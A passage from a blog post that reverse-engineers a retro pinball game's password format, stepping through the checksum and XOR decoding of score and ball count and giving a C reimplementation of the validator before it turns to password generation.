right three times in order to get rid of the number of the <code class="language-plaintext highlighter-rouge">XORed Balls High</code>
value and OR it into the final <code class="language-plaintext highlighter-rouge">score_xored</code>. You are probably thinking “but
there are only 2 bits available in the <code class="language-plaintext highlighter-rouge">score_xored</code> and <code class="language-plaintext highlighter-rouge">score1</code> is 3 bits
long in the diagram”. In the diagram <code class="language-plaintext highlighter-rouge">score1</code> is 3 bits long, because it is
added to <code class="language-plaintext highlighter-rouge">index + 1</code>. The maximum value for <code class="language-plaintext highlighter-rouge">index + 1</code> is 4 (3 bits), so
summing <code class="language-plaintext highlighter-rouge">index + 1</code> to <code class="language-plaintext highlighter-rouge">b9</code>, the highest possible value that can be achieved is
<code class="language-plaintext highlighter-rouge">7</code>, which needs 3 bits to be encoded. It is guaranteed that subtracting
<code class="language-plaintext highlighter-rouge">index + 1</code> from <code class="language-plaintext highlighter-rouge">b9</code> will always give a value less or equal than 3.</p>
<p>We now have the score that has been XORed with 4 bytes of the <code class="language-plaintext highlighter-rouge">table</code>.</p>
<p>Substituting the values with the ones in our example then:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">score_xored</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x0E</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">27</span> <span class="o">|</span>
<span class="p">(</span><span class="mh">0x15</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">22</span> <span class="o">|</span>
<span class="p">(</span><span class="mh">0x0E</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">17</span> <span class="o">|</span>
<span class="p">(</span><span class="mh">0x18</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">12</span> <span class="o">|</span>
<span class="p">(</span><span class="mh">0x1B</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">7</span> <span class="o">|</span>
<span class="p">(</span><span class="mh">0x1D</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">2</span> <span class="o">|</span>
<span class="p">(</span><span class="mh">0x0E</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o">>></span> <span class="mi">3</span><span class="p">;</span>
</code></pre></div></div>
<p>The result is <code class="language-plaintext highlighter-rouge">score_xored = 0x54554BE5</code>.</p>
<p>In order to facilitate the next step, let’s break this value in 4 bytes.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">score_byte1</span> <span class="o">=</span> <span class="mh">0x54</span><span class="p">;</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="mh">0x55</span><span class="p">;</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="mh">0x4B</span><span class="p">;</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="mh">0xE5</span><span class="p">;</span>
</code></pre></div></div>
<p>This <code class="language-plaintext highlighter-rouge">score_xored</code> value is XORed with the bytes in <code class="language-plaintext highlighter-rouge">table</code> starting at the
index <code class="language-plaintext highlighter-rouge">index * 8</code>. In this case then, we have:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">score_byte1</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">score_byte1</span><span class="p">);</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">score_byte2</span><span class="p">);</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">score_byte3</span><span class="p">);</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">3</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">score_byte4</span><span class="p">);</span>
</code></pre></div></div>
<p>Replacing the values:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">score_byte1</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="mi">3</span> <span class="o">*</span> <span class="mi">8</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x54</span><span class="p">);</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="mi">3</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x55</span><span class="p">);</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="mi">3</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x4B</span><span class="p">);</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="mi">3</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">3</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0xE5</span><span class="p">);</span>
<span class="c1">// ... replace once again</span>
<span class="n">score_byte1</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="mi">24</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x54</span><span class="p">);</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x55</span><span class="p">);</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="mi">26</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x4B</span><span class="p">);</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="mi">27</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0xE5</span><span class="p">);</span>
<span class="c1">// ... replace once again</span>
<span class="n">score_byte1</span> <span class="o">=</span> <span class="sc">'T'</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x54</span><span class="p">);</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="sc">'U'</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x55</span><span class="p">);</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="sc">'K'</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x4B</span><span class="p">);</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="sc">'U'</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0xE5</span><span class="p">);</span>
<span class="c1">// ... last time</span>
<span class="n">score_byte1</span> <span class="o">=</span> <span class="mh">0x54</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x54</span><span class="p">);</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="mh">0x55</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x55</span><span class="p">);</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="mh">0x4B</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0x4B</span><span class="p">);</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="mh">0x55</span> <span class="o">^</span> <span class="p">(</span><span class="mh">0xE5</span><span class="p">);</span>
<span class="c1">// ... result</span>
<span class="n">score_byte1</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="mh">0xb0</span><span class="p">;</span> <span class="c1">// 0xb0 = 176</span>
</code></pre></div></div>
<p>This gives a score of <code class="language-plaintext highlighter-rouge">176</code>, which is just as expected.</p>
<p>The last thing left to do, is calculate the number of balls from this password.
This is pretty much the same approach as the score. Subtract <code class="language-plaintext highlighter-rouge">index + 1</code> from
both b9 and b10. This results in 1 bit coming from b9 and 5 bits coming from
b10. Just OR together those values, and you are good to go!</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">balls_xored</span> <span class="o">=</span> <span class="p">((</span><span class="n">b9</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o">&</span> <span class="mh">0x03</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">5</span> <span class="o">|</span> <span class="p">(</span><span class="n">b10</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>
</code></pre></div></div>
<p>Replacing our values:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">balls_xored</span> <span class="o">=</span> <span class="p">((</span><span class="mh">0x0E</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o">&</span> <span class="mh">0x03</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">5</span> <span class="o">|</span> <span class="p">(</span><span class="mh">0x15</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>
<span class="c1">// ... result</span>
<span class="n">balls_xored</span> <span class="o">=</span> <span class="mh">0x11</span><span class="p">;</span>
</code></pre></div></div>
<p>Just have to take <code class="language-plaintext highlighter-rouge">balls_xored</code> and XOR it against <code class="language-plaintext highlighter-rouge">table[index + 8 + 4]</code> and
then AND the result with 0x7F (in order to get only the 7 least significant
bits, since the number of balls is stored in 7 bits).</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">balls</span> <span class="o">=</span> <span class="p">(</span><span class="n">balls_xored</span> <span class="o">^</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">4</span><span class="p">])</span> <span class="o">&</span> <span class="mh">0x7F</span><span class="p">;</span>
<span class="c1">// ... replacing values</span>
<span class="n">balls</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x11</span> <span class="o">^</span> <span class="n">table</span><span class="p">[</span><span class="mi">3</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">4</span><span class="p">])</span> <span class="o">&</span> <span class="mh">0x7F</span><span class="p">;</span>
<span class="c1">// ... one more time</span>
<span class="n">balls</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x11</span> <span class="o">^</span> <span class="n">table</span><span class="p">[</span><span class="mi">28</span><span class="p">])</span> <span class="o">&</span> <span class="mh">0x7F</span><span class="p">;</span>
<span class="c1">// .. and again</span>
<span class="n">balls</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x11</span> <span class="o">^</span> <span class="sc">'R'</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0x7F</span><span class="p">;</span>
<span class="c1">// ... last time</span>
<span class="n">balls</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x11</span> <span class="o">^</span> <span class="mh">0x52</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0x7F</span><span class="p">;</span>
<span class="c1">// ... result</span>
<span class="n">balls</span> <span class="o">=</span> <span class="mh">0x03</span><span class="p">;</span>
</code></pre></div></div>
<p>So we have <code class="language-plaintext highlighter-rouge">balls = 3</code> just as expected.</p>
<p>In the end, there is some logic to validate that the decoded score and number
of balls are smaller than their respective maximum values. If any of them is
higher, the password is rejected.</p>
<p>In summary:</p>
<ul>
<li>Calculate the checksum of the password</li>
<li>Read the index encoded in the password</li>
<li>Read the checksum encoded in the password</li>
<li>Validate that the checksum calculated and the checksum read match</li>
<li>Decode the score</li>
<li>Decode the number of balls</li>
<li>Validate that the score is smaller than the maximum allowed score</li>
<li>Validate that the number of balls is smaller than the maximum allowed</li>
</ul>
<p>Below is the piece of code I put together that performs all this logic (it is
pretty verbose, but that is on purpose):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
</span>
<span class="cp">#define MAX_SCORE 0x98967F
</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="nf">rorByte</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">val</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">qty</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// if least significant bit is 1, we need to move</span>
<span class="c1">// it to the most significant bit position after</span>
<span class="c1">// the shift</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">qty</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">isOne</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span><span class="p">((</span><span class="n">val</span> <span class="o">&</span> <span class="mh">0x01</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x01</span><span class="p">)</span> <span class="p">{</span>
<span class="n">isOne</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">val</span> <span class="o">>></span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">isOne</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">val</span> <span class="o">|</span> <span class="mh">0x80</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">val</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">validate_params</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o"><</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Usage: %s <password></span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="nf">decodePassChar</span><span class="p">(</span><span class="kt">char</span> <span class="n">p</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">p</span> <span class="o">></span> <span class="mh">0x39</span><span class="p">)</span>
<span class="n">p</span> <span class="o">-=</span> <span class="mi">7</span><span class="p">;</span>
<span class="n">p</span> <span class="o">-=</span> <span class="mh">0x30</span><span class="p">;</span>
<span class="k">return</span> <span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
<span class="n">validate_params</span><span class="p">(</span><span class="n">argc</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">password</span> <span class="o">=</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">table</span> <span class="o">=</span> <span class="s">"MEGA-DRATHUNDER4GANBATTETUKURUZOA"</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">score_byte1</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">score_byte2</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">score_byte3</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">score_byte4</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">score_xored</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">balls_xored</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">score</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">balls</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">index</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">checksum</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">calc_checksum</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b1</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b2</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b3</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b4</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">3</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b5</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">4</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b6</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">5</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b7</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">6</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b8</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">7</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b9</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">8</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b10</span> <span class="o">=</span> <span class="n">decodePassChar</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">9</span><span class="p">]);</span>
<span class="n">checksum</span> <span class="o">=</span> <span class="p">(</span><span class="n">b1</span> <span class="o"><<</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">b2</span> <span class="o">>></span> <span class="mi">2</span><span class="p">);</span>
<span class="n">index</span> <span class="o">=</span> <span class="n">b2</span> <span class="o">&</span> <span class="mh">0x03</span><span class="p">;</span>
<span class="n">calc_checksum</span> <span class="o">=</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="mi">7</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="mi">6</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">4</span><span class="p">],</span> <span class="mi">5</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">5</span><span class="p">],</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">6</span><span class="p">],</span> <span class="mi">3</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">7</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="o">^</span>
<span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">rorByte</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">9</span><span class="p">],</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">calc_checksum</span> <span class="o">!=</span> <span class="n">checksum</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Password checksum does not match.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Expected: [%02X] - Calculated: [%02X]</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">checksum</span><span class="p">,</span>
<span class="n">calc_checksum</span><span class="p">);</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">score_xored</span> <span class="o">=</span> <span class="p">(</span><span class="n">b3</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">27</span> <span class="o">|</span>
<span class="p">(</span><span class="n">b4</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">22</span> <span class="o">|</span>
<span class="p">(</span><span class="n">b5</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">17</span> <span class="o">|</span>
<span class="p">(</span><span class="n">b6</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">12</span> <span class="o">|</span>
<span class="p">(</span><span class="n">b7</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">7</span> <span class="o">|</span>
<span class="p">(</span><span class="n">b8</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o"><<</span> <span class="mi">2</span> <span class="o">|</span>
<span class="p">(</span><span class="n">b9</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o">>></span> <span class="mi">3</span><span class="p">;</span>
<span class="n">score_byte1</span> <span class="o">=</span> <span class="p">(</span><span class="n">score_xored</span> <span class="o">>></span> <span class="mi">24</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFF</span><span class="p">;</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="p">(</span><span class="n">score_xored</span> <span class="o">>></span> <span class="mi">16</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFF</span><span class="p">;</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="p">(</span><span class="n">score_xored</span> <span class="o">>></span> <span class="mi">8</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFF</span><span class="p">;</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="p">(</span><span class="n">score_xored</span> <span class="o">>></span> <span class="mi">0</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xFF</span><span class="p">;</span>
<span class="n">score_byte1</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">score_byte1</span><span class="p">);</span>
<span class="n">score_byte2</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">score_byte2</span><span class="p">);</span>
<span class="n">score_byte3</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">score_byte3</span><span class="p">);</span>
<span class="n">score_byte4</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">3</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">score_byte4</span><span class="p">);</span>
<span class="n">score</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">score</span> <span class="o">|</span> <span class="n">score_byte1</span><span class="p">;</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">score</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">;</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">score</span> <span class="o">|</span> <span class="n">score_byte2</span><span class="p">;</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">score</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">;</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">score</span> <span class="o">|</span> <span class="n">score_byte3</span><span class="p">;</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">score</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">;</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">score</span> <span class="o">|</span> <span class="n">score_byte4</span><span class="p">;</span>
<span class="n">balls_xored</span> <span class="o">=</span> <span class="p">((</span><span class="n">b9</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span> <span class="o">&</span> <span class="mh">0x03</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">5</span> <span class="o">|</span>
<span class="p">(</span><span class="n">b10</span> <span class="o">-</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>
<span class="n">balls</span> <span class="o">=</span> <span class="p">(</span><span class="n">balls_xored</span> <span class="o">^</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">4</span><span class="p">])</span> <span class="o">&</span> <span class="mh">0x7F</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">score</span> <span class="o">></span> <span class="n">MAX_SCORE</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Invalid score. "</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Score [%d] is greater than maximum allowed [%d]"</span><span class="p">,</span> <span class="n">score</span><span class="p">,</span>
<span class="n">MAX_SCORE</span><span class="p">);</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">balls</span> <span class="o">></span> <span class="mi">99</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Invalid number of balls [%d]."</span><span class="p">,</span> <span class="n">balls</span><span class="p">);</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Password succesfully validated!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Score: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">score</span> <span class="o">*</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Balls: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">balls</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>One last thing to notice here, is that this code does not take into account the
hardcoded passwords. I skipped that part during my analysis, since I was
anxious to see how the validation worked and wanted to implement it.</p>
<h1 id="the-password-generation-logic">The password generation logic</h1>
<p>It should be pretty straight forward now. Everything that needs to be done is
performing the actions from the validation logic in the opposite direction. In
order to make the whole process clear, I will also describe this logic step by
step. The code here will be more closely related to the assembly code that was
analyzed to figure out this logic.</p>
<p>Just as a reminder:</p>
<ul>
